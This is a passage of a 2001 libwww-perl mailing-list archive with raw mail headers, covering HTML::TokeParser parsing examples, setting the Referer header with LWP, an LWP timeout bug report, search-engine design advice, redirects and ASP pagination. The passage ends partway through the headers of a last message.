           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29590 for <hyper>;
          13 Feb 2001 10:58 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02077
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 10:57 PST
Received: (qmail 22808 invoked by uid 508); 13 Feb 2001 18:57:51 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 22799 invoked from network); 13 Feb 2001 18:57:51 -0000
Received: from maynard.mail.mindspring.net (207.69.200.243)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 18:57:51 -0000
Received: from 1Cust135.tnt1.gastonia.nc.da.uu.net (1Cust135.tnt1.gastonia.nc.da.uu.net [63.11.132.135])
	by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA09558;
	Tue, 13 Feb 2001 13:57:45 -0500 (EST)
Date: Tue, 13 Feb 2001 13:57:40 -0500 (EST)
From: Gary Nielson <gnielson@charlotte.infi.net>
X-Sender: gnielson@nielson.dynip.com
To: Tim Allwine <tallwine@oreilly.com>
cc: libwww@perl.org
Subject: Re: Trouble understanding how HTML::TokeParser works
In-Reply-To: <3A896FD8.FA0A7D5D@oreilly.com>
Message-ID: <Pine.LNX.4.21.0102131356380.7194-100000@nielson.dynip.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

That works great. You ought to post this on a Web site somewhere. I could
not find in any google search a good example of this using
HTML::TokeParser. Why did you use dumpvar.pl? Thanks.

Gary

 On Tue, 13 Feb 2001, Tim Allwine wrote:

> Gary Nielson wrote:
> > 
> > I can get by programming in Perl, but my head hurts trying to
> > understand how object-oriented modules such as TokeParser work.
> > Basically, I want to parse an html file where each entry looks like
> > this:
> > 
> > <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
> > <A HREF="/rc/news/docs/07073706.htm">Junk DNA may not be such junk,
> > genome studies find</A>
> > </B></FONT></DT>
> > <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>WASHINGTON -
> > &#0151; The first in-depth look into the
> > human genome shows it is much more complicated.. <P>
> > </FONT></DD>
> > 
> 
> Here is one way to do it. Assume you have the following file
> called 'sample.html'.
> 
> <html>
> <head><title>Tutorial</title></head>
> <body>
> 
> <dl>
>     <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
>     <A HREF="/rc/news/docs/07073706.htm">Junk DNA may not be such junk,
>     genome studies find</A>
>     </B></FONT></DT>
>     <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>WASHINGTON -
>     &#0151; The first in-depth look into the
>     human genome shows it is much more complicated.. <P>
>     </FONT></DD>
> 
>     <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
>     <A HREF="http://search.cpan.org/doc/GAAS/HTML-Parser-3.15/lib/HTML/TokeParse
>     The HTML::TokeParser is an
>     alternative interface to the HTML::Parser class.
>     </A>
>     </B></FONT></DT>
>     <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>Sebastopol -
>     It basically turns the HTML::Parser inside out.
>     You associate a file (or any IO::Handle object or
>     string) with the parser at construction
>     time and then repeatedly call $parser->get_token
>     to obtain the tags and text found in the parsed
>     document.
>     <P>
>     </FONT></DD>
> 
>     <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
>     <A HREF="http://search.cpan.org/doc/GAAS/HTML-Parser-3.15/Parser.pm">
>     This is the new XS based HTML::Parser</A>
>     </B></FONT></DT>
>     <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>Boston -
>     Objects of the HTML::Parser class will recognize
>     markup and separate it from plain text (alias data
>     content) in HTML documents. As different kinds of
>     markup and text are recognized, the corresponding
>     event handlers are invoked.
>     <p>
>     </FONT></DD>
>     <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
>     <A HREF="http://search.cpan.org/doc/GAAS/libwww-perl-5.10/lib/HTML/TreeBuild
>     This is a parser that builds (and actually itself is) a HTML syntax tree.
>     </A>
>     </B></FONT></DT>
>     <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>PITTSBURG -
>     Objects of this class inherit the methods of both
>     HTML::Parser and HTML::Element. After parsing has
>     taken place it can be regarded as the syntax tree
>     itself.
>      <P>
>     </FONT></DD>
> 
> </dl>
> </body>
> </html>
> 
> Run the following code.
> 
> use strict;
> use HTML::TokeParser;
> require 'dumpvar.pl';
> 
> my $p = HTML::TokeParser->new("sample.html");
> my $rss;
> 
> while(my $token = $p->get_token) {
>     next unless $token->[0] eq 'S' and
>         $token->[1] eq 'dt';
>     my $rec = {};
>     while(my $token = $p->get_token) {
>         last if $token->[0] eq 'E' and
>             $token->[1] eq 'dd';
>         if($token->[0] eq 'S' and
>                 $token->[1] eq 'a') {
>             $rec->{url} = $token->[2]{href};
>             $rec->{headline} = $p->get_trimmed_text('/a');
>         } elsif($token->[0] eq 'S' and
>                 $token->[1] eq 'dd') {
>             $rec->{summary} = $p->get_trimmed_text('/dd');
>         }
>     }
>     push(@$rss,$rec);
> }
> #dumpValue(\$rss);
> 
> for my $rec (@$rss) {
>     print join('||',$rec->{url},$rec->{headline},$rec->{summary}),"\n\n";
> }
> 
> __END__
> The TokeParser parses an html document and gives you an array of
> tokens to look through. The way you access this array of tokens
> is through the various methods in the class. The tokens
> themselves are represented by references to arrays.
> 
> The above program parses the document and begins the winnowing
> process. The outer while loop rejects any token that is not a 'S'
> (start) tag and has a name of 'dt'. Once the first <dt> tag is
> found we create a hash ref that will hold the data for each
> record found. We jump out if we see the closing </dt>. If we see
> the starting <a> tag, grab the url, it is the third element in
> the token which is a hash ref and we want the value who's key is
> 'href'. Then grab all the text up to the closing </a> tag. If we
> see the <dd> tag then grab all the text up to the closing </dd>
> tag. When we jump out, push $rec into an array and go back for
> more.
> 

-- 
Gary Nielson
gary@garynielson.com





From tallwine@oreilly.com Tue Feb 13 11:32:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa03785 for <hyper>;
          13 Feb 2001 11:32 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa11709
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 11:32 PST
Received: (qmail 30784 invoked by uid 508); 13 Feb 2001 19:32:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 30775 invoked from network); 13 Feb 2001 19:32:38 -0000
Received: from rock.west.ora.com (HELO smtp.oreilly.com) (204.148.43.8)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 19:32:38 -0000
Received: from oreilly.com (carol.west.ora.com [172.16.1.29])
	by smtp.oreilly.com (8.11.2/8.11.2) with ESMTP id f1DJW6q21629;
	Tue, 13 Feb 2001 11:32:10 -0800 (PST)
Sender: tallwine@oreilly.com
Message-ID: <3A898BB7.65CB699A@oreilly.com>
Date: Tue, 13 Feb 2001 11:32:07 -0800
From: Tim Allwine <tallwine@oreilly.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Gary Nielson <gnielson@charlotte.infi.net>
CC: libwww@perl.org
Subject: Re: Trouble understanding how HTML::TokeParser works
References: <Pine.LNX.4.21.0102131356380.7194-100000@nielson.dynip.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Gary Nielson wrote:
> 
> That works great. You ought to post this on a Web site somewhere. I could
> not find in any google search a good example of this using
> HTML::TokeParser. Why did you use dumpvar.pl? Thanks.
> 

Uncomment the line that has a call to dumpValue and see what happens.:)

-Tim

From merlyn@stonehenge.com Tue Feb 13 13:02:42 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13903 for <hyper>;
          13 Feb 2001 13:02 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05592
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 13:02 PST
Received: (qmail 16991 invoked by uid 508); 13 Feb 2001 21:02:26 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16981 invoked from network); 13 Feb 2001 21:02:26 -0000
Received: from halfdome.holdit.com (merlyn@209.102.105.64)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 21:02:26 -0000
Received: (from merlyn@localhost)
	by halfdome.holdit.com (8.9.1/8.9.1) id NAA01933;
	Tue, 13 Feb 2001 13:02:11 -0800
To: Chris Martino <chris@console.org>
Cc: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: referer
References: <Pine.LNX.4.32.0102131334440.27200-100000@stupid.console.org>
From: "Randal L. Schwartz" <merlyn@stonehenge.com>
Date: 13 Feb 2001 13:02:11 -0800
In-Reply-To: <Pine.LNX.4.32.0102131334440.27200-100000@stupid.console.org>
Message-ID: <m166ie70vg.fsf@halfdome.holdit.com>
Lines: 20
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

>>>>> "Chris" == Chris Martino <chris@console.org> writes:

Chris> Hi-
Chris> I'm writing a perl script to submit a webform, but it keeps on getting
Chris> rejected, I think because of the referer.  Is it possible to tell LWP to
Chris> submit a different referal address, thus to trick the server I'm posting
Chris> to that it actually came from them?

    my $url = "http://perltraining.stonehenge.com/";
    use LWP::UserAgent;
    use HTTP::Request::Common qw(GET POST);
    my $agent = LWP::UserAgent->new;
    my $req = GET $url, Referer => "http://www.perl.com/";
    print $agent->request($req)->as_string;

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!

From ttatum@koz.com Tue Feb 13 13:49:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18288 for <hyper>;
          13 Feb 2001 13:49 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17481
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 13:49 PST
Received: (qmail 23943 invoked by uid 508); 13 Feb 2001 21:49:02 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 23920 invoked from network); 13 Feb 2001 21:49:00 -0000
Received: from corp01.koz.com (216.3.22.6)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 21:49:00 -0000
Received: from thomas ([216.3.22.183]) by corp01.koz.com
          (Netscape Messaging Server 4.15) with SMTP id G8PTWW00.R2P for
          <libwww@perl.org>; Tue, 13 Feb 2001 16:48:32 -0500 
From: Thomas Tatum <ttatum@koz.com>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: libwww and setting a timeout 
Date: Tue, 13 Feb 2001 16:48:31 -0500
Message-ID: <KGEEINJAHANAFKAILLGMCEKNFJAA.thomas@koz.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal


My name is Thomas Tatum and I am new to this mailing list (hello! - first
time poster)

I feel there is still an outstanding timeout bug in the libwww library that
needs addressing.  I think it has been brought up before on the mailing list
but from the uci archives, dejanews, and the latest FAQ
(http://people.we.mediaone.net/kfrankel/lwpfaq.txt q19 and 20), I have not
seen a solution.

The bug is that on certain web sites the alarm or callback solution(from
FAQ) will NOT stop the request from trying to connect after X seconds.  Its
a hard one to track down because the behavior is non-repeating.

(perl 5.005_03 (sun4-solaris)
IO 1.20
LWP 5.47)

Below is a script(uses the alarm technique) I run from my Unix shell and
feed a URL(with -c) to test the timeout bug.  The script merely returns the
start time and end time of the request.  It uses a 20 second alarm and will
print TIMED OUT if the alarm goes off.

I have no solution to offer to the list, but I do have a few clues:

Clue 1) I have a site that almost daily gets "hung-up" into a state where it
doesnt respond to a normal browser pull dependably.  I pass the URL to the
below script and will get a response from the site in an undeterministic
amount of time(usually greater than the 20 second alarm).  When I run the
script under the debugger however, the alarms work as they were designed.
(To double check the bug, I would immediately re-run the script outside of
the debugger and it would return in an underministic amount of time)

Clue 2) I have been to www.perl.org a few times in the last few days where
it seemed to be "hung-up" and I tested my script on that URL. The alarms
would break out of the request fine in 20 seconds, but not print the
statement in the if$@ block.  I ran this script around 10 times and one of
the times the alarm didnt break out at all.  I tried it once in the debugger
and it worked as intended (broke out after 20 seconds and printed the TIME
OUT message)

I have a few web sites that get "hung-up" into a state where I can get the
bug to occur on a daily basis.  If someone on the development team is
willing to do a trace/de-bug of this problem, I can call/email the URL of
the site when this happens.

Thanks in advance for the help.

Thomas

=============================
#!/usr/local/bin/perl -w

use LWP::Simple;
use Getopt::Std;
require LWP::UserAgent;

  if ((!(getopts('hc:'))) || (!($opt_c))  || ($opt_h)) {

        usage();

  }


$URL = $opt_c;

print "\n\tWill retrieve $URL\n\nTime is ". localtime(time) . "\n\n";

	$ua = LWP::UserAgent->new;
	$request = HTTP::Request->new('GET',$URL);

	eval{
	  local $SIG{ALRM} = sub { die "timeout"; };
	  alarm(20);

	  $response = $ua->request($request);
	  $content = $response->content;

	  alarm(0);
	};

if ($@ =~ /timeout/) {
  print "TIMED OUT after alarm\n\n";
}

print "Done:\n  Time is ". localtime(time). "\n\n";
print "content is $content\n";

sub usage
  {print "\nUsage:\n\t$0 {-h} -c url to pass to lwp check"; }



From sburke@spinn.net Tue Feb 13 14:12:13 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20299 for <hyper>;
          13 Feb 2001 14:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23469
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 14:12 PST
Received: (qmail 28154 invoked by uid 508); 13 Feb 2001 22:11:57 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28145 invoked from network); 13 Feb 2001 22:11:57 -0000
Received: from spinnone.spinn.net (HELO newone.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 22:11:57 -0000
Received: from 2ch0201 (dialip12.spinn.net [216.223.225.12])
	by newone.spinn.net (8.9.3/8.9.3) with SMTP id PAA05336;
	Tue, 13 Feb 2001 15:11:22 -0700
Message-Id: <3.0.6.32.20010213151139.0081da30@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Tue, 13 Feb 2001 15:11:39 -0700
To: Chris Martino <chris@console.org>, libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Re: referer [and other HTTP headers things]
In-Reply-To: <Pine.LNX.4.32.0102131334440.27200-100000@stupid.console.or
 g>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 01:38 PM 2001-02-13 -0500, Chris Martino wrote:
>[...]Is it possible to tell LWP to
>submit a different referal address, thus to trick the server I'm posting
>to that it actually came from them?

There's the sane and normal way that Randal pointed out:

>    use HTTP::Request::Common qw(GET POST);
>[...]
>    my $req = GET $url, Referer => "http://www.perl.com/";

And personally, I've never had to use anything but HTTP::Request::Common
functions, like that, to construct request objects.


But incidentally, there's another way:
Construct a request however you like, and then say:
  $req->referer("http://www.perl.com/");
and then do the $response = $ua->request($request) thing.


The way one would know about ->referer is that request objects (as perldoc
HTTP::Request says) are a kind of HTTP::Message object, and the POD for
HTTP::Message says you can use all sorts of methods to query or change the
headers of a given HTTP::Message, notably the methods you'll see in the
section "Convenience Methods" in the POD for HTTP::Headers.  And "referer"
is in there.

This isn't so terribly useful for request objects, since you can just
stipulate these in the call to GET(...), as Randal pointed out -- altho
maybe the ->referer approach helpfully forces you to spell "referer" the
conventional HTTP (i.e., wrong) way, instead of "referrer", the normal
English way.  (For mnemonic value, try pronouncing the one-r "referer" as
"reefer"!)


However, the HTTP::Headers stuff comes in handy when you want to scrutinize
the headers of an HTTP::Response (not request!) object using methods
besides just what HTTP::Response lists.
(Just like HTTP::Request, HTTP::Response is a subclass of HTTP::Message,
and so inherits the HTTP::Message + HTTP::Headers methods.)

For example,

  printf "They're running '%s'!\n", $response->server() || '?';


--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From oyku@solfix.net Tue Feb 13 14:39:53 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22567 for <hyper>;
          13 Feb 2001 14:39 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00755
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 14:39 PST
Received: (qmail 1830 invoked by uid 508); 13 Feb 2001 22:39:40 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 1820 invoked from network); 13 Feb 2001 22:39:40 -0000
Received: from venus3.ttnet.net.tr (212.156.4.35)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 22:39:40 -0000
Received: from oyku ([212.29.78.154]) by venus3.ttnet.net.tr
          (Netscape Messaging Server 4.15) with ESMTP id G8PTIT03.J2V;
          Wed, 14 Feb 2001 00:40:05 +0300 
Message-ID: <002501c0960d$e63247d0$1401a8c0@oyku.net>
From: Oyku Gencay <oyku@solfix.net>
To: John Indra <john@office.naver.co.id>, libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
References: <20010212084438.A2875@office.naver.co.id>
Subject: Re: Request For Advice: The Good Indexing Method
Date: Wed, 14 Feb 2001 00:39:57 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Hi John,

Fist of all it is a very good choice to use Perl and LWP for developing a
search engine. Refering to what you have written it will take almost forever
to crawl with your settings. If you intend to be *polite* you will need a
large bandwith and be able to use current search engines to *guide* your
robot.

Generally there is a misconception issue with search engine development. The
crawler part is only at maximum 10% of the whole system. I don't know how
large you are intending to be but the bottleneck between indexing, storing
and searching parts is the storage part. It determines the search
performance and scalability.

There a lots of flavors of indexing and storage schemas each  favoring types
of searches. You should initially identfy your needs. Do not simply say "I
want multiple keyword with AND boolean searches and phrase search" The
requirement sometimes affects the crawler design. Actually this is the main
reason why you cannot build a search engine with out of the box software
even you may several 100K bucks.

Actualyl what you must know to build a search engine is in dept data
structure information. The search engine has been a magic art because there
is not much publicly available source, and search engine companies would not
reveal their (very simple) secrets. But let me give you a clue. Go and
search for WWW conference proceedings, you'll find invaluable information.
Also if you know java, check out www.lucene.org its an open source 100% java
search engine developed by chief architect of Excite.

I've been developing commerical large scale search engines for more than 2
years, and te bottom line is
1. Perl is a good choice
2. The secret is the storage :)

Hope this helps.

Oyku Gencay

----- Original Message -----
From: John Indra <john@office.naver.co.id>
To: <libwww@perl.org>
Sent: Monday, February 12, 2001 3:44 AM
Subject: Request For Advice: The Good Indexing Method


> Hi all...
>
> First of all, please forgive me if this is the wrong group to talk about
> this subject. But, this has something to do with Perl, and the web, so I
> think I will take the shot.
>
> I am trying to build my own search engine, from scratch, with Perl.
> Currently I have finished building a robot, using libwww of course.
>
> 1. If I want to conform to this: "Build a friendly robot, don't run on
other
> web servers, just walk", I set my user agent to hit the remote web server
> using delay = 1 minutes, then my robot is very slow (only one hit per
> minute). What is the best and efficient way to make my robot still
confomrs
> to standard but having a better performance (can do parallel request per
> minute)?
>
> 2. After my robot finishes crawling the web, I need to build an index.
> Currently what I have in mind is to use B-Tree algorithm. So, after the
> robot finishes it jobs, then my indexer will start chopping stopwords from
> the document, do some word stemming maybe. Well that's what I currently
have
> in mind. Now I am rather confused of what structure is best to store the
> index information. I am using standard Perl module DB_File. Advices are
very
> welcome.
>
> I have a weak knowledge in Data Structure and Computer Science, so if you
> can, please give me some guide of URLs to read if I have to be faced with
> complex data structure manipulation.
>
> Thanks...
>
> /john


From oyku@solfix.net Tue Feb 13 14:41:22 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22674 for <hyper>;
          13 Feb 2001 14:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01149
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 14:41 PST
Received: (qmail 3079 invoked by uid 508); 13 Feb 2001 22:41:10 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 3068 invoked from network); 13 Feb 2001 22:41:09 -0000
Received: from venus3.ttnet.net.tr (212.156.4.35)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 22:41:09 -0000
Received: from oyku ([212.29.78.154]) by venus3.ttnet.net.tr
          (Netscape Messaging Server 4.15) with ESMTP id G8PTLG01.B3A for
          <libwww@perl.org>; Wed, 14 Feb 2001 00:41:40 +0300 
Message-ID: <002901c0960e$1ec55010$1401a8c0@oyku.net>
From: Oyku Gencay <oyku@solfix.net>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
References: <ACC3ACA8E8CFD4118FA70008C7F468789DC543@m303.nmb.norwest.com>
Subject: Re: Problem using UserAgent.
Date: Wed, 14 Feb 2001 00:41:34 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-9"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

did you instruct the UserAgent to follow redirects? check the pod
documentation. And you should not call simple request

----- Original Message -----
From: <Mike.Housman@mortgage.wellsFargo.COM>
To: <libwww@perl.org>
Sent: Monday, February 12, 2001 11:19 PM
Subject: Problem using UserAgent.


> Hello,
>
> I have a perl program that is posting data to various websites using the
> UserAgent, Request, and Response modules.
>
> It is working well for all but two of the sites.  Both of these sites are
> doing REDIRECTS (HTTP STATUS 302) after the data has been successfully
> posted, but the UserAgent doesn't seem to be following the redirect?
>
> Is there a setting I need to change?  Both of these sites are using HTTP
> 1.1.  I haven't checked any of the sites that DO work to see what HTTP
> version they use.
>
> Help!
>
> Thanks,
>
> Mike Housman


From mfahey@qilinlaw.com Wed Feb 14 00:05:22 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02089 for <hyper>;
          14 Feb 2001 00:05 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08484
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 00:05 PST
Received: (qmail 4777 invoked by uid 508); 14 Feb 2001 08:05:10 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 4768 invoked from network); 14 Feb 2001 08:05:09 -0000
Received: from mail.qilinlaw.com (HELO qilinlaw.com) (210.65.171.42)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 08:05:09 -0000
Received: from cpu091 ([10.35.42.145])
	by qilinlaw.com (8.8.7/8.8.7) with SMTP id RAA03306
	for <libwww@perl.org>; Wed, 14 Feb 2001 17:09:20 +0800
From: "Michael R. Fahey" <mfahey@qilinlaw.com>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: UserAgent with ASP
Date: Wed, 14 Feb 2001 16:03:17 +0800
Message-ID: <000101c0965c$975d36c0$912a230a@qilinlaw.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal




The server returns an error when I request the following url using
LWP::UserAgent.


$url = 'http://someagency.gov.tw/reg/asp/WB0104I_1.asp?ScrollAction=Page 2';
$request = new HTTP::Request('GET', $url);

I can retrieve the first page with:

	$SEARCH_URL = 'http://someagency.gov.tw/reg/asp/WB0104I_1.asp';

	use LWP::UserAgent;
	use HTTP::Cookies;

	use CGI;
	$cgi = new CGI;
	$ua = new LWP::UserAgent;


	my $string_head = shift (@ARGV);
	my $file_name = "$string_head.html";

	open (OUT, "> $file_name") or die "Couldn't open $file_name for reading:
$!\n";

	$request = new HTTP::Request('POST', $SEARCH_URL);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content("english_name=$string_head&basic_select=3&query=¬d¸ß");
#garbage characters here are Chinese (big-5) for 'query'
	$response = $ua->request( $request );


Then I want to get the next five pages, so I tried ...

	$url = 'http://someagency.gov.tw/reg/asp/WB0104I_1.asp?ScrollAction=Page
2';
	$request = new HTTP::Request('GET', $url);      $request->content();
	$response = $ua->request( $request );
	$content=$response->content();
	my $file_name = "$string_head2.html";open (OUT, "> $file_name") or die
"Couldn't open 	$file_name for reading: $!\n";
	print OUT $content;
	print "$content\n\n";

But no luck.  Is my url malformed? Does it need to be escaped?  It appears
in the browser as
http://someagency.gov.tw/reg/asp/WB0104I_1.asp?ScrollAction=Page%202 when I
go to the second page manually.

Thanks for any suggestions.

Michael Fahey


From libwww@hotelspectra.com Wed Feb 14 00:20:17 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa03005 for <hyper>;
          14 Feb 2001 00:20 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa12762
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 00:20 PST
Received: (qmail 6764 invoked by uid 508); 14 Feb 2001 08:20:04 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6755 invoked from network); 14 Feb 2001 08:20:04 -0000
Received: from femail6.sdc1.sfba.home.com (24.0.95.86)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 08:20:04 -0000
Received: from cx612420-a ([24.21.80.144]) by femail6.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010214082003.KIXP4849.femail6.sdc1.sfba.home.com@cx612420-a>
          for <libwww@perl.org>; Wed, 14 Feb 2001 00:20:03 -0800
Message-ID: <200102130014070990.01BFE660@mail>
In-Reply-To: <002501c0960d$e63247d0$1401a8c0@oyku.net>
References: <20010212084438.A2875@office.naver.co.id>
 <002501c0960d$e63247d0$1401a8c0@oyku.net>
